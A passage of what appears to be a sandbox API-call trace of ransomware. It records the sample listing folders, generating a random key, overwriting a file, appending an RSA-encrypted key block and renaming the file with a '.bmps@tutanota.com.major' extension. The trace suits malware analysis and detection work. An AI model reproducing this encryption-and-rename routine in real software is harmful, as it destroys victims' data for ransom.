dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6a28 | out: hHeap=0x570000) returned 1 [0223.839] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6112409, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7edfd5ce, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x36a042a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32d60 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0223.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0223.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aac8 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0223.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0223.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.839] GetLastError () returned 0x0 [0223.840] SetLastError (dwErrCode=0x0) [0223.840] GetLastError () returned 0x0 [0223.840] SetLastError (dwErrCode=0x0) [0223.840] GetLastError () returned 0x0 [0223.840] SetLastError (dwErrCode=0x0) [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bea50 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f32de0 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f32de0 | out: hHeap=0x570000) returned 1 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0223.840] FindNextFileW (in: hFindFile=0x2f32d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6112409, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7edfd5ce, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x36a042a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0223.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.841] GetLastError () returned 0x0 [0223.841] SetLastError (dwErrCode=0x0) [0223.841] GetLastError () returned 0x0 [0223.841] SetLastError (dwErrCode=0x0) [0223.841] GetLastError () returned 0x0 [0223.841] SetLastError (dwErrCode=0x0) [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f32de0 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f32de0 | out: hHeap=0x570000) returned 1 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0223.841] FindNextFileW (in: hFindFile=0x2f32d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e3f831, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xb381bf2f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb3cba331, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0xa6aeb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338", cAlternateFileName="DBD5A1~1")) returned 1 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e428 | out: hHeap=0x570000) returned 1 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0223.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0223.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.842] GetLastError () returned 0x0 [0223.842] SetLastError (dwErrCode=0x0) [0223.842] GetLastError () returned 0x0 [0223.842] SetLastError (dwErrCode=0x0) [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0223.842] GetLastError () returned 0x0 [0223.842] SetLastError (dwErrCode=0x0) [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c540 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c540 | out: hHeap=0x570000) returned 1 [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5bf3d8 [0223.842] FindNextFileW (in: hFindFile=0x2f32d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a042a3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36a042a3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36a042a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0223.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0223.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0223.843] GetLastError () returned 0x0 [0223.843] SetLastError (dwErrCode=0x0) [0223.843] GetLastError () returned 0x0 [0223.843] SetLastError (dwErrCode=0x0) [0223.843] GetLastError () returned 0x0 [0223.843] SetLastError (dwErrCode=0x0) [0223.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0223.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0223.843] FindNextFileW (in: hFindFile=0x2f32d60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a042a3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36a042a3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36a042a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0223.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5c1e10 [0223.843] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.843] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0223.843] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338", dwFileAttributes=0x80) returned 1 [0223.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5a5ef8 [0223.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x226) returned 0x57eca8 [0223.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0223.844] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\stagedassets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184c [0223.845] GetFileSizeEx (in: hFile=0x184c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=682731) returned 1 [0223.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa6aeb) returned 0x675020 [0223.846] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa6aeb) returned 0x3541020 [0223.847] ReadFile (in: hFile=0x184c, lpBuffer=0x675020, nNumberOfBytesToRead=0xa6aeb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x675020*, lpNumberOfBytesRead=0x2e3f9b4*=0xa6aeb, lpOverlapped=0x0) returned 1 [0224.348] SetFilePointer (in: hFile=0x184c, lDistanceToMove=-682731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.348] WriteFile (in: hFile=0x184c, lpBuffer=0x3541020*, nNumberOfBytesToWrite=0xa6aeb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3541020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa6aeb, lpOverlapped=0x0) returned 1 [0224.350] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x675020 | out: hHeap=0x570000) returned 1 [0224.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3541020 | out: hHeap=0x570000) returned 1 [0224.351] SetFilePointer (in: hFile=0x184c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa6aeb [0224.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.351] WriteFile (in: hFile=0x184c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0224.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="T2eMESQFOjzQEzLl0my5HoYrZv3QL7F3o941LAqJ/wrWQkK9JHpiNvftsfgcXepC\nbVWclolWG5B+qpCF8vAyd779H598lmSe8DvZzqbjES7L/7jVPngq8R1mWQt7F41n\nhr/I5fw4ZDdXi95pjvkCkheGLgkN6mvq1u8jzggH0wSuz6NaK0VI6xHTrUZzKQjd\nMwvNGhowJdVFdSNZJLC+dKBXzzwr7yLK1Y43skSF+jleS7xHfa1IYQFnUDofvTVR\nFgxi1K4cOq+NDmjTy1zouLRJeU93NqSXvcnL5rzmVxqLnUWN3ISBUxqyBeIEpIMf\n2yPEI3ugxUtaaw2XphG7KQ==\n", pcchString=0x2e3f9a8) returned 1 [0224.352] WriteFile (in: hFile=0x184c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.352] WriteFile (in: hFile=0x184c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.352] CloseHandle (hObject=0x184c) returned 1 [0224.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0224.353] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\stagedassets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\stagedassets\\dbd5a16e8ac2fb7349e67e0aaf70d60e2641485dd003bce430f036f0de827338.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0224.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660120 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6591f8 | out: hHeap=0x570000) returned 1 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660648 | out: hHeap=0x570000) returned 1 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6820 | out: hHeap=0x570000) returned 1 [0224.355] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\TargetedContentCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6ca4042, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f328e0 [0224.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0224.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0224.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0224.356] GetLastError () returned 0x0 [0224.356] SetLastError (dwErrCode=0x0) [0224.356] GetLastError () returned 0x0 [0224.356] SetLastError (dwErrCode=0x0) [0224.356] GetLastError () returned 0x0 [0224.356] SetLastError (dwErrCode=0x0) [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be6e0 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f33020 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f33020 | out: hHeap=0x570000) returned 1 [0224.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0224.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0224.356] FindNextFileW (in: hFindFile=0x2f328e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6ca4042, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.357] GetLastError () returned 0x0 [0224.357] SetLastError (dwErrCode=0x0) [0224.357] GetLastError () returned 0x0 [0224.357] SetLastError (dwErrCode=0x0) [0224.357] GetLastError () returned 0x0 [0224.357] SetLastError (dwErrCode=0x0) [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f33020 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f33020 | out: hHeap=0x570000) returned 1 [0224.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0224.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0224.358] FindNextFileW (in: hFindFile=0x2f328e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a2a502, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36a2a502, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0224.358] GetLastError () returned 0x0 [0224.358] SetLastError (dwErrCode=0x0) [0224.358] GetLastError () returned 0x0 [0224.358] SetLastError (dwErrCode=0x0) [0224.358] GetLastError () returned 0x0 [0224.358] SetLastError (dwErrCode=0x0) [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0224.358] FindNextFileW (in: hFindFile=0x2f328e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ca4042, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9ff77ac, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa9ff77ac, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="v3", cAlternateFileName="")) returned 1 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0224.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0224.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0224.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0224.359] RtlAllocateHeap (HeapHandle=0x570000, 